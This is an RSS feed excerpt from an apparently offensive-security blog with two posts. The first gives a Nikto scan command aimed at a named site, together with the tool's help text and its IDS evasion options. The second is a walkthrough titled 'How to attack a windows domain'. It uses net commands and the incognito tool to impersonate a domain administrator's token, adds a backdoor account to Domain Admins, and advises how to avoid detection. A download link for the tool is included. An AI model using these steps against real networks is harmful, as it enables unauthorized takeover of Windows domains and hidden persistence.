<p>Nikto is built on LibWhisker (by RFP) and can run on any platform which has a PERL environment. It supports SSL, proxies, host authentication, IDS evasion and more. It can be updated automatically from the command-line, and supports the optional submission of updated version data back to the maintainers.</p>
<div class="hl-surround">
<div class="hl-main">[arch@Archlinux ~]nikto -h www.Kernel.sh -mutate=123456 -C=&#8217;all&#8217; -D=V -T 0123456789abcx</div>
</div>
<p>-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-</p>
<div class="hl-surround">
<div class="hl-main">[arch@ArchLinux ~]$ nikto -Help</p>
<p>&nbsp;&nbsp; Options:<br />&nbsp;&nbsp; &nbsp; &nbsp; -config+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Use this config file<br />&nbsp;&nbsp; &nbsp; &nbsp; -Cgidirs+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Scan these CGI dirs: &#8216;none&#8217;, &#8216;all&#8217;, or values like &quot;/cgi/ /cgi-a/&quot;<br />&nbsp;&nbsp; &nbsp; &nbsp; -Display+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Turn on/off display outputs:<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 1&nbsp; &nbsp; &nbsp;Show redirects<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 2&nbsp; &nbsp; &nbsp;Show cookies received<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 3&nbsp; &nbsp; &nbsp;Show all 200/OK responses<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 4&nbsp; &nbsp; &nbsp;Show URLs which require authentication<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; D&nbsp; &nbsp; &nbsp;Debug Output<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; V&nbsp; &nbsp; &nbsp;Verbose Output<br />&nbsp;&nbsp; &nbsp; &nbsp; -dbcheck&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Check database and other key files for syntax errors (cannot be abbreviated)<br />&nbsp;&nbsp; &nbsp; &nbsp; -evasion+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IDS evasion technique:<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 1&nbsp; &nbsp; &nbsp;Random URI encoding (non-UTF8)<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 2&nbsp; &nbsp; &nbsp;Directory self-reference (/./)<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 3&nbsp; &nbsp; &nbsp;Premature URL ending<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 4&nbsp; &nbsp; &nbsp;Prepend long random string<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 5&nbsp; &nbsp; &nbsp;Fake parameter<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 6&nbsp; &nbsp; &nbsp;TAB as request spacer<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 7&nbsp; &nbsp; &nbsp;Change the case of the URL<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 8&nbsp; &nbsp; &nbsp;Use Windows directory separator (\)<br />&nbsp;&nbsp; &nbsp; &nbsp; -findonly&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Find http(s) ports only, don&#8217;t perform a full scan<br />&nbsp;&nbsp; &nbsp; &nbsp; -Format+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Save file (-o) format:<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;htm&nbsp; &nbsp;HTML Format<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;csv&nbsp; &nbsp;Comma-separated-value<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;txt&nbsp; &nbsp;Plain text (default if not specified)<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xml&nbsp; &nbsp;XML Format<br />&nbsp;&nbsp; &nbsp; &nbsp; -host+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Target host<br />&nbsp;&nbsp; &nbsp; &nbsp; -Help&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Extended help information<br />&nbsp;&nbsp; &nbsp; &nbsp; -id+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Host authentication to use, format is userid:password<br />&nbsp;&nbsp; &nbsp; &nbsp; -mutate+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Guess additional file names:<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 1&nbsp; &nbsp; &nbsp;Test all files with all root directories<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 2&nbsp; &nbsp; &nbsp;Guess for password file names<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 3&nbsp; &nbsp; &nbsp;Enumerate user names via Apache (/~user type requests)<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 4&nbsp; &nbsp; &nbsp;Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests)<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 5&nbsp; &nbsp; &nbsp;Attempt to brute force sub-domain names, assume that the host name is the parent domain<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 6&nbsp; &nbsp; &nbsp;Attempt to guess directory names from the supplied dictionary file<br />&nbsp;&nbsp; &nbsp; &nbsp; -mutate-options&nbsp; &nbsp; Provide information for mutates<br />&nbsp;&nbsp; &nbsp; &nbsp; -nocache&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Disables the URI cache<br />&nbsp;&nbsp; &nbsp; &nbsp; -nossl&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Disables using SSL<br />&nbsp;&nbsp; &nbsp; &nbsp; -no404&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Disables nikto attempting to guess a 404 page<br />&nbsp;&nbsp; &nbsp; &nbsp; -output+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Write output to this file<br />&nbsp;&nbsp; &nbsp; &nbsp; -port+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Port to use (default 80)<br />&nbsp;&nbsp; &nbsp; &nbsp; -Pause+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Pause between tests (seconds)<br />&nbsp;&nbsp; &nbsp; &nbsp; -root+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Prepend root value to all requests, format is /directory<br />&nbsp;&nbsp; &nbsp; &nbsp; -ssl&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Force ssl mode on port<br />&nbsp;&nbsp; &nbsp; &nbsp; -Single&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Single request mode<br />&nbsp;&nbsp; &nbsp; &nbsp; -timeout+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Timeout (default 2 seconds)<br />&nbsp;&nbsp; &nbsp; &nbsp; -Tuning+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Scan tuning:<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0&nbsp; &nbsp; &nbsp;File Upload<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 1&nbsp; &nbsp; &nbsp;Interesting File / Seen in logs<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 2&nbsp; &nbsp; &nbsp;Misconfiguration / Default File<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 3&nbsp; &nbsp; &nbsp;Information Disclosure<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 4&nbsp; &nbsp; &nbsp;Injection (XSS/Script/HTML)<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 5&nbsp; &nbsp; &nbsp;Remote File Retrieval &#8211; Inside Web Root<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 6&nbsp; &nbsp; &nbsp;Denial of Service<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 7&nbsp; &nbsp; &nbsp;Remote File Retrieval &#8211; Server Wide<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 8&nbsp; &nbsp; &nbsp;Command Execution / Remote Shell<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 9&nbsp; &nbsp; &nbsp;SQL Injection<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a&nbsp; &nbsp; &nbsp;Authentication Bypass<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; b&nbsp; &nbsp; &nbsp;Software Identification<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; c&nbsp; &nbsp; &nbsp;Remote Source Inclusion<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; x&nbsp; &nbsp; &nbsp;Reverse Tuning Options (i.e., include all except specified)<br />&nbsp;&nbsp; &nbsp; &nbsp; -useproxy&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Use the proxy defined in config.txt<br />&nbsp;&nbsp; &nbsp; &nbsp; -update&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Update databases and plugins from cirt.net (cannot be abbreviated)<br />&nbsp;&nbsp; &nbsp; &nbsp; -Version&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Print plugin and database versions<br />&nbsp;&nbsp; &nbsp; &nbsp; -vhost+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Virtual host (for Host header)<br />&nbsp;&nbsp; + requires a value</div>
</div>
<p><!--more--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kernel.sh/Analysis/index.php/archives/266/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to attack a windows domain</title>
		<link>http://www.kernel.sh/Analysis/index.php/archives/247</link>
		<comments>http://www.kernel.sh/Analysis/index.php/archives/247#comments</comments>
		<pubDate>Tue, 13 Oct 2009 09:43:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Infiltration invasion]]></category>

		<guid isPermaLink="false">http://www.kernel.sh/Analysis/?p=247</guid>
		<description><![CDATA[

&#8230;&#8230;

How to attack a windows domain
Get administrator rights on a workstation which is on a windows domain using whatever method you can find. (exploit, stolen password, smbrelay, phishing, etc). Look 
for the domain server. There are a variety of ways to do this. You can arp -a to find active IP’s or ping scan the [...]]]></description>
			<content:encoded><![CDATA[<p><span id="more-247"></span></p>
<div class="hl-surround">
<div class="hl-main">&#8230;&#8230;</div>
</div>
<p>How to attack a windows domain</p>
<p>Get administrator rights on a workstation which is on a windows domain using whatever method you can find. (exploit, stolen password, smbrelay, phishing, etc). Look </p>
<p>for the domain server. There are a variety of ways to do this. You can arp -a to find active IP’s or ping scan the network and then use the nbtstat tool to look for </p>
<p>the right domain controller identifier or an obvious hostname.</p>
<p>You can also browse the network neighborhood or use the net view command.</p>
<p>Aquiring and cracking the hashes of your target is generally useful as well.</p>
<p>Enumerate group membership so you know who to target.</p>
<p>Get the usernames in the local administrators group:</p>
<div class="hl-surround">
<div class="hl-main">C:\WINDOWS\system32&gt;net localgroup administrators<br />net localgroup administrators<br />Alias name&nbsp; administrators<br />Comment&nbsp; &nbsp; &nbsp;Administrators have complete and unrestricted access to the computer/domain</p>
<p>Members<br />&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />Administrator<br />BLACKHAT\Domain Admins<br />hacked<br />local_valsmith<br />root<br />The command completed successfully.</div>
</div>
<p>Enumerate the domain admins</p>
<div class="hl-surround">
<div class="hl-main">C:\WINDOWS\system32&gt;net group &quot;domain admins&quot; /domain<br />net group &quot;domain admins&quot; /domain<br />The request will be processed at a domain controller for domain blackhat.com.</p>
<p>Group name&nbsp; &nbsp;Domain Admins<br />Comment&nbsp; &nbsp; &nbsp; Designated administrators of the domain</p>
<p>Members</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />admin_valsmith&nbsp; &nbsp; &nbsp; Administrator<br />The command completed successfully.</div>
</div>
<p>So admin_valsmith is our target domain admin. Lets say the workstation we hacked is on 172.16.1.10. We now need to find out of there are any security tokens we can </p>
<p>access.</p>
<div class="hl-surround">
<div class="hl-main">c:\&gt;incognito&gt;incognito -h 172.16.1.10 -u local_valsmith -p D0nth3ckm3 list_tokens -u<br />[*] Attempting to establish new connection to \172.16.1.10IPC$<br />[*] Logon to \172.16.1.10IPC$ succeeded<br />[*] Copying service to \172.16.1.10<br />[+] Existing service found and opend successfully<br />[*] Starting service<br />[+] Service started<br />[*] Connecting to incognito service named pipe<br />[+] Successfully connected to named pipe {3A864C7A-77E3-4092-BF4A-FC12020A7EED}<br />[*] Redirecting I/O to remote process</p>
<p>[*] Enumerating tokens<br />[*] Listing unique users found&#8230;</p>
<p>Delegation Tokens Available<br />==========================================<br />NT AUTHORITYLOCAL SERVICE<br />NT AUTHORITYNETWORK SERVICE<br />NT AUTHORITYSYSTEM<br />XPCLIENTlocal_valsmith</p>
<p>Impersonation Tokens Available<br />==========================================<br />BLACKHATadmin_valsmith<br />NT AUTHORITYANONYMOUS LOGON</p>
<p>[*] Service shutdown detected. Service executable file deleted<br />[*] Deleting serviceSo admin_valsmith is our target domain administrator and an impersonation token is available to us!</div>
</div>
<p>The above command assumes we have cracked the hash of the local admin and retrieved the password. This will connect to IPC$ share on the target and list any tokens </p>
<p>that are available.</p>
<p>Next we will utilize this token to gain domain admin rights:</p>
<div class="hl-surround">
<div class="hl-main">C:\&gt;incognito&gt;incognito -h 172.16.1.10 -u local_valsmith -p D0nth3ckm3 execute -c &quot;blackhatadmin_valsmith&quot; cmd</p>
<p>[*] Attempting to establish new connection to \172.16.1.10IPC$<br />[+] Logon to \172.16.1.10IPC$ succeeded<br />[*] Copying service to \172.16.1.10<br />[+] Existing service found and opend successfully<br />[*] Starting service<br />[+] Service started<br />[*] Connecting to incognito service named pipe<br />[+] Successfully connected to named pipe {3A864C7A-77E3-4092-BF4A-9047A294CE6D}<br />[*] Redirecting I/O to remote process</p>
<p>[*] Enumerating tokens<br />[*] Searching for availability of requested token<br />[+] Requested token found<br />[-] No Delegation token available<br />[*] Attempting to create new child process and communicate via anonymous pipe<br />Microsoft Windows XP [Version 5.1.2600]<br />(C) Copyright 1985-2001 Microsoft Corp.</p>
<p>C:WINDOWS\system32&gt;whoami<br />whoami<br />admin_valsmith</div>
</div>
<p>So we now have a shell with the rights of the domain administrator. We will add an account to the domain controller to demonstrate our access:</p>
<div class="hl-surround">
<div class="hl-main">C:\&gt;net user hacked 0h3ck3d! /add /domain<br />net user hacked 0h3cked! /add /domain<br />The request will be processed at a domain controller for domain blackhat.com.</p>
<p>The command completed successfully.</p></div>
</div>
<p>Now we want to add our account to the domain admin group. NOTE: often you don’t want to add an account, especially one named hacked as it is likely to be discovered </p>
<p>by the admins.</p>
<div class="hl-surround">
<div class="hl-main">C:\&gt;net group &quot;domain admins&quot; hacked /add /domain<br />net group &quot;domain admins&quot; hacked /add /domain<br />The reuqest will be processed at a domain controller for domain blackhat.com</p>
<p>The command completed successfully.</p></div>
</div>
<p>At this point we have control over the domain and can likely log into any workstation which is on the domain.<br />
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-<br />
<strong>Will download to file</strong>:<em>
<div class="hl-surround">
<div class="hl-main">Http://www.Kernel.sh/Analysis/Download/incognito-v0.1.zip</div>
</div>
<p></em><br />
<!--more--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kernel.sh/Analysis/index.php/archives/247/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
